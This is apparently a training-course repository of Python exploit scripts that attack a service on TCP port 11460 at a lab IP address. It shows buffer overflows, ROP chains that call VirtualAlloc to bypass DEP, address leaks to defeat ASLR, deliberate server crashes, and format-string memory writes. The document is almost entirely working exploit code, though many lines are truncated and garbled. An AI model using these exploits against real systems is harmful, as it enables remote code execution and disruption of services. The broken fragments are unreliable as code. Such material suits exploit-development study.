i 120 | dasm = disasm(ptr) 121 | gadget_size = dasm.length() 122 | while gadget_size <= MAX_GADGET_SIZE: 123 | instr = dasm.instruction() 124 | if any(bad in instr for bad in BAD): 125 | break 126 | gadget.append(instr) 127 | if instr.find("ret") != -1: 128 | break 129 | dasm.disasm() 130 | gadget_size += dasm.length() 131 | matching = [i for i in gadget if "ret" in i] 132 | if matching: 133 | count += 1 134 | fp.write("-" * 86 + "\r\n") 135 | for instr in gadget: 136 | try: 137 | fp.write(str(instr) + "\r\n") 138 | except UnicodeEncodeError: 139 | print(str(repr(instr))) 140 | return count 141 | 142 | 143 | if __name__ == '__main__': 144 | count = 0 145 | try: 146 | modname = sys.argv[1].strip() 147 | except IndexError: 148 | print("Syntax: %s modulename" % sys.argv[0]) 149 | sys.exit() 150 | 151 | try: 152 | MAX_GADGET_SIZE = int(sys.argv[2]) 153 | except IndexError: 154 | pass 155 | except ValueError: 156 | print("Syntax: %s modulename [MAX_GADGET_SIZE]" % sys.argv[0]) 157 | print("Example: %s ntdll 8" % sys.argv[0]) 158 | print("MAX_GADGET_SIZE needs to be an integer") 159 | sys.exit() 160 | 161 | mod = module(modname) 162 | executable_pages = [] 163 | 164 | if mod: 165 | pn = int((mod.end() - mod.begin()) / PAGE_SIZE) 166 | print("Total Memory Pages: %d" % pn) 167 | 168 | print("Finding executable memory pages...") 169 | for i in range(0, pn): 170 | page = mod.begin() + i * PAGE_SIZE 171 | if isPageExec(page): 172 | executable_pages.append(page) 173 | print("Executable Memory Pages: %d" % len(executable_pages)) 174 | 175 | print("Finding return addresses...") 176 | ret_addresses = findRetn(executable_pages) 177 | print("Return addresses found: %d" % len(ret_addresses)) 178 | 179 | print("Finding ROP gadgets...") 180 | gadget_count = 0 181 | for ret_address in ret_addresses: 182 | gadget_count += disasmGadget(ret_address, mod, OUT_FILE) 183 | # getGadgets(ret_address) 184 | print("Gadgets found: %d" % gadget_count) 185 | 186 | print("Done!") 187 | OUT_FILE.close() 188 | -------------------------------------------------------------------------------- /6_dep_bypass_2/1_overflow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # psAgentCommand 15 | buf = bytearray([0x41] * 0xC) 16 | buf += pack("i", len(buf) - 4) + buf 32 | 33 | 34 | def main(): 35 | server = "192.168.185.10" 36 | if len(sys.argv) >= 2: 37 | server = sys.argv[1] 38 | 39 | port = 11460 40 | 41 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | s.connect((server, port)) 43 | 44 | s.send(buf) 45 | s.close() 46 | 47 | print("[+] Packet sent") 48 | sys.exit(0) 49 | 50 | 51 | if __name__ == "__main__": 52 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/2_eip_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack("i", len(buf) - 4) + buf 42 | 43 | 44 | def main(): 45 | server = "192.168.185.10" 46 | if len(sys.argv) >= 2: 47 | server = sys.argv[1] 48 | 49 | port = 11460 50 | 51 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 52 | s.connect((server, port)) 53 | 54 | s.send(buf) 55 | s.close() 56 | 57 | print("[+] Packet sent") 58 | sys.exit(0) 59 | 60 | 61 | if __name__ == "__main__": 62 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/3_prepare.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack("i", len(buf) - 4) + buf 49 | 50 | 51 | def main(): 52 | server = "192.168.185.10" 53 | if len(sys.argv) >= 2: 54 | server = sys.argv[1] 55 | 56 | port = 11460 57 | 58 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 59 | s.connect((server, port)) 60 | 61 | s.send(buf) 62 | s.close() 63 | 64 | print("[+] Packet sent") 65 | sys.exit(0) 66 | 67 | 68 | if __name__ == "__main__": 69 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/4_find_esp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack(" mov esi, esp AKA Move the contents of esp into esi. 41 | rop = b"\x45" * (command_buffer_length - eip_offset - 4) 42 | 43 | payload = offset + va + eip + rop 44 | formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % (payload, 0, 0, 0, 0) 45 | buf += formatString 46 | 47 | # Checksum 48 | buf = pack(">i", len(buf) - 4) + buf 49 | 50 | 51 | def main(): 52 | server = "192.168.185.10" 53 | if len(sys.argv) >= 2: 54 | server = sys.argv[1] 55 | 56 | port = 11460 57 | 58 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 59 | s.connect((server, port)) 60 | 61 | s.send(buf) 62 | s.close() 63 | 64 | print("[+] Packet sent") 65 | sys.exit(0) 66 | 67 | 68 | if __name__ == "__main__": 69 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/5_insert_virtualalloc_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack(" mov esi, esp AKA Move the contents of esp into esi. 44 | rop = pack(" eax = esp 45 | rop += pack("i", len(buf) - 4) + buf 76 | 77 | 78 | def main(): 79 | server = "192.168.185.10" 80 | if len(sys.argv) >= 2: 81 | server = sys.argv[1] 82 | 83 | port = 11460 84 | 85 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 86 | s.connect((server, port)) 87 | 88 | s.send(buf) 89 | s.close() 90 | 91 | print("[+] Packet sent") 92 | sys.exit(0) 93 | 94 | 95 | if __name__ == "__main__": 96 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/6_patch_return_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack(" mov esi, esp AKA Move the contents of esp into esi. 47 | rop = pack(" eax = esp 48 | rop += pack("i", len(buf) - 4) + buf 107 | 108 | 109 | def main(): 110 | server = "192.168.185.10" 111 | if len(sys.argv) >= 2: 112 | server = sys.argv[1] 113 | 114 | port = 11460 115 | 116 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 117 | s.connect((server, port)) 118 | 119 | s.send(buf) 120 | s.close() 121 | 122 | print("[+] Packet sent") 123 | sys.exit(0) 124 | 125 | 126 | if __name__ == "__main__": 127 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/7_patch_return_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack(" mov esi, esp AKA Move the contents of esp into esi. 47 | rop = pack(" eax = esp 48 | rop += pack("i", len(buf) - 4) + buf 191 | 192 | 193 | def main(): 194 | server = "192.168.185.10" 195 | if len(sys.argv) >= 2: 196 | server = sys.argv[1] 197 | 198 | port = 11460 199 | 200 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 201 | s.connect((server, port)) 202 | 203 | s.send(buf) 204 | s.close() 205 | 206 | print("[+] Packet sent") 207 | sys.exit(0) 208 | 209 | 210 | if __name__ == "__main__": 211 | main() -------------------------------------------------------------------------------- /6_dep_bypass_2/8_call_virtualalloc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | # Results 9 | # eip=41326a41 10 | # pattern = 41 6a 32 41 = Aj2A 11 | # $ msf-pattern_offset -q Aj2A -l 0x200 12 | # [*] Exact match at offset 276 13 | 14 | # eip offset: 276 15 | # esp offset: 280 16 | 17 | eip_offset = 276 18 | command_buffer_length = 0x400 19 | 20 | # psAgentCommand 21 | buf = bytearray([0x41] * 0xC) 22 | buf += pack(" mov esi, esp AKA Move the contents of esp into esi. 47 | rop = pack(" eax = esp 48 | rop += pack("i", len(buf) - 4) + buf 215 | 216 | 217 | def main(): 218 | server = "192.168.185.10" 219 | if len(sys.argv) >= 2: 220 | server = sys.argv[1] 221 | 222 | port = 11460 223 | 224 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 225 | s.connect((server, port)) 226 | 227 | s.send(buf) 228 | s.close() 229 | 230 | print("[+] Packet sent") 231 | sys.exit(0) 232 | 233 | 234 | if __name__ == "__main__": 235 | main() -------------------------------------------------------------------------------- /7_aslr_bypass/1_update_execution_path.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | # psAgentCommand 8 | buf = bytearray([0x41] * 0xC) 9 | buf += pack("i", len(buf) - 4) + buf 25 | 26 | 27 | def main(): 28 | server = "192.168.185.10" 29 | port = 11460 30 | 31 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | s.connect((server, port)) 33 | 34 | s.send(buf) 35 | s.close() 36 | 37 | print("[+] Packet sent") 38 | sys.exit(0) 39 | 40 | 41 | if __name__ == "__main__": 42 | main() -------------------------------------------------------------------------------- /7_aslr_bypass/2_symbol_operation_path.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | # psAgentCommand 8 | buf = bytearray([0x41] * 0xC) 9 | buf += pack("i", len(buf) - 4) + buf 26 | 27 | 28 | def parseResponse(response): 29 | """ Parse a server response and extract the leaked address """ 30 | pattern = b"Address is:" 31 | address = None 32 | for line in response.split(b"\n"): 33 | if line.find(pattern) != -1: 34 | address = int((line.split(pattern)[-1].strip()), 16) 35 | if not address: 36 | print("[-] Could not find the address in the Response") 37 | sys.exit() 38 | return address 39 | 40 | 41 | def main(): 42 | server = "192.168.185.10" 43 | port = 11460 44 | 45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | s.connect((server, port)) 47 | 48 | s.send(buf) 49 | 50 | response = s.recv(1024) 51 | address = parseResponse(response) 52 | print(hex(address)) 53 | 54 | s.close() 55 | 56 | print("[+] Packet sent") 57 | sys.exit(0) 58 | 59 | 60 | if __name__ == "__main__": 61 | main() 62 | -------------------------------------------------------------------------------- /7_aslr_bypass/3_ibm_dll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | # psAgentCommand 8 | psAgentCommand = bytearray([0x41] * 0xC) 9 | psAgentCommand += pack("i", len(buf) - 4) + buf 26 | 27 | 28 | def parseResponse(response): 29 | """ Parse a server response and extract the leaked address """ 30 | pattern = b"Address is:" 31 | address = None 32 | for line in response.split(b"\n"): 33 | if line.find(pattern) != -1: 34 | address = int((line.split(pattern)[-1].strip()), 16) 35 | if not address: 36 | print("[-] Could not find the address in the Response") 37 | sys.exit() 38 | return address 39 | 40 | 41 | def leak_function_address(function_name: bytearray, server: str, port: int) -> int: 42 | """ Leaks a function address from the server. """ 43 | symbol = b"SymbolOperation" + function_name + b"\x00" 44 | psCommandBuffer = symbol + b"A" * (100 - len(symbol)) 45 | psCommandBuffer += b"B" * 0x100 46 | psCommandBuffer += b"C" * 0x100 47 | 48 | # checksum and command. 49 | buf = pack(">i", len(psAgentCommand) + len(psCommandBuffer) - 4) + psAgentCommand + psCommandBuffer 50 | 51 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 52 | s.connect((server, port)) 53 | s.send(buf) 54 | response = s.recv(1024) 55 | s.close() 56 | 57 | return parseResponse(response) 58 | 59 | 60 | def main(): 61 | server = "192.168.185.10" 62 | port = 11460 63 | 64 | write_process_memory_addr = leak_function_address(b"WriteProcessMemory", server, port) 65 | get_new_lockid_addr = leak_function_address(b"N98E_CRYPTO_get_new_lockid", server, port) 66 | libeay32IBM019Base = get_new_lockid_addr - 0x14E0 67 | 68 | 69 | print("WriteProcessMemory Address: " + hex(write_process_memory_addr)) 70 | print("N98E_CRYPTO_get_new_lockid Address: " + hex(get_new_lockid_addr)) 71 | print("Libeay32IBM019 Base Address: " + hex(libeay32IBM019Base)) 72 | 73 | sys.exit(0) 74 | 75 | 76 | if __name__ == "__main__": 77 | main() 78 | -------------------------------------------------------------------------------- /7_aslr_bypass/4_crash_bad_characters_away.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import time 6 | from struct import pack 7 | 8 | 9 | def parseResponse(response): 10 | """ Parse a server response and extract the leaked address """ 11 | pattern = b"Address is:" 12 | address = None 13 | for line in response.split(b"\n"): 14 | if line.find(pattern) != -1: 15 | address = int((line.split(pattern)[-1].strip()), 16) 16 | if not address: 17 | return 0 18 | return address 19 | 20 | 21 | def leak_function_address(function_name: bytearray, server: str, port: int) -> int: 22 | """ Leaks a function address from the server. """ 23 | psAgentCommand = bytearray([0x41] * 0xC) 24 | psAgentCommand += pack("i", len(psAgentCommand) + len(psCommandBuffer) - 4) + psAgentCommand + psCommandBuffer 40 | 41 | try: 42 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 43 | s.connect((server, port)) 44 | s.send(buf) 45 | response = s.recv(1024) 46 | s.close() 47 | except: 48 | return 0 49 | 50 | return parseResponse(response) 51 | 52 | 53 | def crash_server(server: str, port: int): 54 | payload_size = 0x64 # Total size of payload not including checksum. 55 | agent_command_size = 0x30 # Size of the agent command portion. 56 | command_buffer_size = payload_size - agent_command_size # Size of the command buffer. 57 | 58 | agent_command_buffer = b"A" * 0x10 59 | agent_command_buffer += b"\x44\x61\x36\xf8" # offset first copy. Large negative value. 60 | agent_command_buffer += b"\xA7\x61\x00\x00" # size of first copy 61 | agent_command_buffer += b"\xA7\x61\x00\x00" # offset for second copy 62 | agent_command_buffer += b"\xA7\x61\x00\x00" # size of second copy 63 | agent_command_buffer += b"\xA7\x61\x00\x00" # offset of third copy 64 | agent_command_buffer += b"\xA7\x61\x00\x00" # size of third copy 65 | agent_command_buffer += b"A" * (agent_command_size - len(agent_command_buffer)) 66 | 67 | buf = pack(">i", payload_size) 68 | buf += agent_command_buffer 69 | buf += bytearray([0x42] * command_buffer_size) 70 | 71 | continue_send_data = True 72 | while continue_send_data: 73 | try: 74 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 75 | s.connect((server, port)) 76 | s.send(buf) 77 | s.close() 78 | continue_send_data = False 79 | except: 80 | pass 81 | 82 | 83 | 84 | def main(): 85 | bad_chars = b"\x00\x09\x0a\x0c\x0d\x20" 86 | server = "192.168.185.10" 87 | port = 11460 88 | bad_chars_remain = True 89 | write_process_memory_addr = 0 90 | get_new_lockid_addr = 0 91 | libeay32IBM019Base = 0 92 | 93 | while bad_chars_remain: 94 | while write_process_memory_addr == 0 or get_new_lockid_addr == 0 or libeay32IBM019Base == 0: 95 | write_process_memory_addr = leak_function_address(b"WriteProcessMemory", server, port) 96 | get_new_lockid_addr = leak_function_address(b"N98E_CRYPTO_get_new_lockid", server, port) 97 | libeay32IBM019Base = get_new_lockid_addr - 0x14E0 98 | 99 | 100 | print("WriteProcessMemory Address: " + hex(write_process_memory_addr)) 101 | print("N98E_CRYPTO_get_new_lockid Address: " + hex(get_new_lockid_addr)) 102 | print("Libeay32IBM019 Base Address: " + hex(libeay32IBM019Base)) 103 | 104 | base_address_bytes = pack(">i", libeay32IBM019Base) 105 | bad_chars_remain = False 106 | 107 | for bad_char in bad_chars: 108 | if base_address_bytes[0] == bad_char or base_address_bytes[1] == bad_char: 109 | print("Bad character detected. Restarting server...") 110 | print("Note: It might take a while for the server to restart.") 111 | bad_chars_remain = True 112 | crash_server(server, port) 113 | write_process_memory_addr = 0 114 | get_new_lockid_addr = 0 115 | libeay32IBM019Base = 0 116 | break; 117 | 118 | print("No bad characters detected! Continuing with exploit!") 119 | 120 | sys.exit(0) 121 | 122 | 123 | if __name__ == "__main__": 124 | main() 125 | -------------------------------------------------------------------------------- /8_format_strings/1_path_to_eventlog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | 8 | def main(): 9 | server = "192.168.185.10" 10 | if len(sys.argv) >= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | # psAgentCommand 16 | buf = pack(">i", 0x400) 17 | buf += bytearray([0x41] * 0xC) 18 | buf += pack("= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | # psAgentCommand 16 | buf = pack(">i", 0x400) 17 | buf += bytearray([0x41] * 0xC) 18 | buf += pack("i", 0x400) 44 | buf += bytearray([0x41] * 0xC) 45 | buf += pack(" 4: 69 | print(hex(index)) 70 | print(response[7:]) 71 | 72 | s.close() 73 | 74 | print("[+] Packet sent") 75 | sys.exit(0) 76 | 77 | 78 | if __name__ == "__main__": 79 | main() -------------------------------------------------------------------------------- /8_format_strings/3_max_length_returned_eventlog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | 8 | def main(): 9 | server = "192.168.185.10" 10 | if len(sys.argv) >= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | # psAgentCommand 16 | buf = pack(">i", 0x400) 17 | buf += bytearray([0x41] * 0xC) 18 | buf += pack("i", 0x400) 44 | buf += bytearray([0x41] * 0xC) 45 | buf += pack(" 4: 75 | print(str(len(response)) + " : " + hex(index * 0x100)) 76 | 77 | s.close() 78 | 79 | print("[+] Packet sent") 80 | sys.exit(0) 81 | 82 | 83 | if __name__ == "__main__": 84 | main() -------------------------------------------------------------------------------- /8_format_strings/4_find_end_of_eventlog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | 8 | def main(): 9 | server = "192.168.185.10" 10 | if len(sys.argv) >= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | # psAgentCommand 16 | buf = pack(">i", 0x400) 17 | buf += bytearray([0x41] * 0xC) 18 | buf += pack("i", 0x400) 45 | buf += bytearray([0x41] * 0xC) 46 | buf += pack("= 0x100000: 76 | s.close() 77 | startValue += 0x1000 78 | continue 79 | 80 | s.close() 81 | 82 | response_size = response_size >> 8 83 | startValue += response_size 84 | break 85 | 86 | print("Ideal start value: " + str(hex(startValue))) 87 | 88 | # psAgentCommand 89 | buf = pack(">i", 0x400) 90 | buf += bytearray([0x41] * 0xC) 91 | buf += pack("= 2: 13 | server = sys.argv[1] 14 | 15 | port = 11460 16 | 17 | # psAgentCommand 18 | buf = pack(">i", 0x400) 19 | buf += bytearray([0x41] * 0xC) 20 | buf += pack("i", 0x400) 54 | buf += bytearray([0x41] * 0xC) 55 | buf += pack(" 4096: 88 | response += s.recv(4096) 89 | bytes_downloaded += 4096 90 | else: 91 | response += s.recv(bytes_left) 92 | bytes_downloaded += bytes_left 93 | except Exception as e: 94 | print(e) 95 | 96 | woot_split = response.split(b'w00t') 97 | 98 | if len(woot_split) > 1: 99 | for i in range(1, len(woot_split)): 100 | w00t_finds.append(woot_split[i][0:0x80]) 101 | 102 | s.close() 103 | 104 | print("Start Value: " + str(hex(startValue)) + " Size: " + str(hex(response_size))) 105 | 106 | if response_size >= 0x100000: 107 | s.close() 108 | startValue += 0x1000 109 | continue 110 | 111 | break 112 | 113 | print(w00t_finds[-1]) 114 | leaked_address_bytes = w00t_finds[-1].split(b':')[1] 115 | leaked_address = int(leaked_address_bytes, 16) 116 | print("Leaked address: " + str(hex(leaked_address))) 117 | 118 | print("[+] Packet sent") 119 | sys.exit(0) 120 | 121 | 122 | if __name__ == "__main__": 123 | main() -------------------------------------------------------------------------------- /8_format_strings/6_no_close_connection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import time 6 | from struct import pack 7 | 8 | # Note: The way Offensive Security wanted this made had a logic flaw, so instead of trying to find the end 9 | # of the logs, it downloads all the logs (you can specify the start point to speed up future executions). 10 | 11 | def main(): 12 | server = "192.168.185.10" 13 | startValue = 0x3a000 # Default 0x00. Change to speed up start of search. 14 | if len(sys.argv) >= 2: 15 | server = sys.argv[1] 16 | 17 | port = 11460 18 | 19 | # psAgentCommand 20 | buf = pack(">i", 0x400) 21 | buf += bytearray([0x41] * 0xC) 22 | buf += pack("= response_size: 55 | break 56 | except Exception as e: 57 | print(e) 58 | print(response_size) 59 | print(len(response)) 60 | 61 | print("Searching logs for w00t...") 62 | # startValue = 0x00 63 | w00t_finds = [] 64 | while True: 65 | 66 | # psAgentCommand 67 | buf = pack(">i", 0x400) 68 | buf += bytearray([0x41] * 0xC) 69 | buf += pack("= response_size: 99 | break 100 | except Exception as e: 101 | print(e) 102 | print(response_size) 103 | print(len(response)) 104 | 105 | woot_split = response.split(b'w00t') 106 | 107 | if len(woot_split) > 1: 108 | for i in range(1, len(woot_split)): 109 | w00t_finds.append(woot_split[i][0:0x80]) 110 | 111 | if response_size >= 0x100000: 112 | startValue += 0x1000 113 | continue 114 | 115 | break 116 | 117 | print(w00t_finds[-1]) 118 | leaked_address_bytes = w00t_finds[-1].split(b':')[1] 119 | leaked_address = int(leaked_address_bytes, 16) 120 | print("Leaked address: " + str(hex(leaked_address))) 121 | 122 | s.close() 123 | 124 | print("[+] Packet sent") 125 | sys.exit(0) 126 | 127 | 128 | if __name__ == "__main__": 129 | main() -------------------------------------------------------------------------------- /8_format_strings/7_bypass_aslr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import time 6 | from struct import pack 7 | 8 | # Note: The way Offensive Security wanted this made had a logic flaw, so instead of trying to find the end 9 | # of the logs, it downloads all the logs (you can specify the start point to speed up future executions). 10 | 11 | def main(): 12 | server = "192.168.185.10" 13 | startValue = 0x00 # Default 0x00. Change to speed up start of search. 14 | if len(sys.argv) >= 2: 15 | server = sys.argv[1] 16 | 17 | port = 11460 18 | 19 | # psAgentCommand 20 | buf = pack(">i", 0x400) 21 | buf += bytearray([0x41] * 0xC) 22 | buf += pack("= response_size: 55 | break 56 | except Exception as e: 57 | print(e) 58 | print(response_size) 59 | print(len(response)) 60 | 61 | print("Searching logs for w00t...") 62 | # startValue = 0x00 63 | w00t_finds = [] 64 | while True: 65 | 66 | # psAgentCommand 67 | buf = pack(">i", 0x400) 68 | buf += bytearray([0x41] * 0xC) 69 | buf += pack("= response_size: 99 | break 100 | except Exception as e: 101 | print(e) 102 | print(response_size) 103 | print(len(response)) 104 | 105 | woot_split = response.split(b'w00t') 106 | 107 | if len(woot_split) > 1: 108 | for i in range(1, len(woot_split)): 109 | w00t_finds.append(woot_split[i][0:0x80 * 18]) 110 | 111 | if response_size >= 0x100000: 112 | startValue += 0x1000 113 | continue 114 | 115 | break 116 | 117 | print(w00t_finds[-1]) 118 | leaked_address_bytes = w00t_finds[-1].split(b':')[2] 119 | leaked_stack_address = int(leaked_address_bytes, 16) 120 | print("Leaked address: " + str(hex(leaked_stack_address))) 121 | 122 | # Okay, now we know a location on the stack. Now, we can grab a specific offset from the stack. 123 | 124 | # psAgentCommand 125 | buf = pack(">i", 0x400) 126 | buf += bytearray([0x41] * 0xC) 127 | buf += pack("i", 0x400) 162 | buf += bytearray([0x41] * 0xC) 163 | buf += pack("= response_size: 193 | break 194 | except Exception as e: 195 | print(e) 196 | print(response_size) 197 | print(len(response)) 198 | 199 | woot_split = response.split(b'w00t') 200 | 201 | if len(woot_split) > 1: 202 | for i in range(1, len(woot_split)): 203 | w00t_finds.append(woot_split[i][0:0x80 * 18]) 204 | 205 | if response_size >= 0x100000: 206 | startValue += 0x1000 207 | continue 208 | 209 | break 210 | 211 | print(w00t_finds[-1]) 212 | 213 | values = w00t_finds[-1].split(b":") 214 | print(values) 215 | print(values[20]) 216 | kbString = b'' 217 | kbString += values[20][6:8] 218 | kbString += values[20][4:6] 219 | kbString += values[20][2:4] 220 | kbString += values[20][0:2] 221 | print(kbString) 222 | kernelbaseAddr = int(kbString, 16) 223 | 224 | print("Leaked Kernelbase address is: " + str(hex(kernelbaseAddr))) 225 | 226 | print("Okay, go into the debugger now... Press enter to close the connection and end the thread.") 227 | input() 228 | 229 | s.close() 230 | 231 | print("[+] Packet sent") 232 | sys.exit(0) 233 | 234 | 235 | if __name__ == "__main__": 236 | main() -------------------------------------------------------------------------------- /9_format_strings_2/1_write_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | 8 | def main(): 9 | server = "192.168.185.10" 10 | if len(sys.argv) >= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | s.connect((server, port)) 17 | 18 | # psAgentCommand 19 | buf = pack(">i", 0x400) 20 | buf += bytearray([0x41] * 0xC) 21 | buf += pack("= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | s.connect((server, port)) 17 | 18 | # psAgentCommand 19 | buf = pack(">i", 0x400) 20 | buf += bytearray([0x41] * 0xC) 21 | buf += pack("= 2: 11 | server = sys.argv[1] 12 | 13 | port = 11460 14 | 15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | s.connect((server, port)) 17 | 18 | byteValue = 0xD8 19 | 20 | if byteValue > 0xC6: 21 | width = byteValue - 0xC7 + 0x8 22 | else: 23 | width = byteValue + 0x39 + 0x8 24 | 25 | # psAgentCommand 26 | buf = pack(">i", 0x400) 27 | buf += bytearray([0x41] * 0xC) 28 | buf += pack("i", 0x400) 27 | buf += bytearray([0x41] * 0xC) 28 | buf += pack("i", 0x400) 59 | buf += bytearray([0x41] * 0xC) 60 | buf += pack("= response_size: 90 | break 91 | except Exception as e: 92 | print(e) 93 | print(response_size) 94 | print(len(response)) 95 | 96 | woot_split = response.split(b'w00t') 97 | 98 | if len(woot_split) > 1: 99 | for i in range(1, len(woot_split)): 100 | w00t_finds.append(woot_split[i][0:0x80 * 18]) 101 | 102 | if response_size >= 0x100000: 103 | startValue += 0x1000 104 | continue 105 | 106 | break 107 | 108 | memory_values = [] 109 | leaked_address_bytes = w00t_finds[-1].split(b':') 110 | returned_values = 0 111 | for leaked_address in leaked_address_bytes: 112 | try: 113 | memory_values.append(int(leaked_address, 16)) 114 | returned_values += 1 115 | if returned_values >= return_value_count: 116 | break 117 | except: 118 | pass 119 | 120 | return memory_values 121 | 122 | 123 | def print_memory_values(memory_values: list): 124 | for i in range(0, len(memory_values)): 125 | print("{}: {}".format(i, str(hex(memory_values[i])))) 126 | 127 | 128 | def write_byte_value(s: socket, byte_value: int, write_address: int): 129 | if byte_value > 0xC6: 130 | width = byte_value - 0xC7 + 0x8 131 | else: 132 | width = byte_value + 0x39 + 0x8 133 | 134 | # psAgentCommand 135 | buf = pack(">i", 0x400) 136 | buf += bytearray([0x41] * 0xC) 137 | buf += pack("> (8 * index) & 0xff 166 | write_byte_value(s, byte_value, write_address + index) 167 | 168 | 169 | def main(): 